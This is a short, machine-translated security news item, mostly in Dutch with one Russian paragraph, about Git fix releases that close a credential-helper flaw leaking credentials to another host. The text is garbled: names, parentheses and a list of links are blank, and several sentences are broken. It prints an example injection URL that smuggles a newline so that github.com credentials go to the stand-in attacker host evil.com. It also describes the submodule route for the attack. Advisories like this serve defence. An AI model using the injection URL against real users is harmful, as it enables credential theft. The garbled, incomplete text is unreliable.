correctieve versies van het gedistribueerde versiebeheersysteem Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 en 2.17.4, waarin is verholpen () in de handler "" die leidt tot het versturen van referenties naar de verkeerde host wanneer de git-client verbinding maakt met de repository via een speciaal geformatteerde URL die een nieuwe regel bevat. De kwetsbaarheid kan worden gebruikt voor het verzenden van referenties van een andere host naar een door de aanvaller gecontroleerde server.
При указании URL вида «https://evil.com?%0ahost=github.com/» обработчик учётных данных при подключении к хосту evil.com передаст параметры аутентификации, заданные для github.com. Проблема проявляется при выполнении таких операций, как «git clone», в том числе при обработке URL для субмодулей (например, при выполнении «git submodule update» будут автоматически обработаны URL, заданные в файле .gitmodules из репозитория). Наибольшую опасность уязвимость представляет в ситуациях, когда разработчик выполняет клонирование репозитория не видя URL, например, при работе с субмодулями, или в системах, выполняющих автоматические действия, например, в скриптах сборки пакетов.
Om de kwetsbaarheid te blokkeren in nieuwe versies de doorgifte van een nieuwe regel in alle waarden die worden verzonden via het protocol voor referentiedeling. Voor distributies kan men updates van pakketten volgen op de pagina's , , , , , , .
Als een workaround om het probleem te blokkeren niet gebruik maken van credential.helper bij toegang tot openbare repositories en "git clone" niet in de "—recurse-submodules" modus gebruiken met niet-geverifieerde repositories. Om de referentiehandler credential.helper volledig uit te schakelen, die en ophalen van wachtwoorden uit , beveiligd of een bestand met wachtwoorden, kan men de volgende commando's gebruiken:
git config —unset credential.helper
git config —global —unset credential.helper
git config —system —unset credential.helper
Bron: opennet.ru
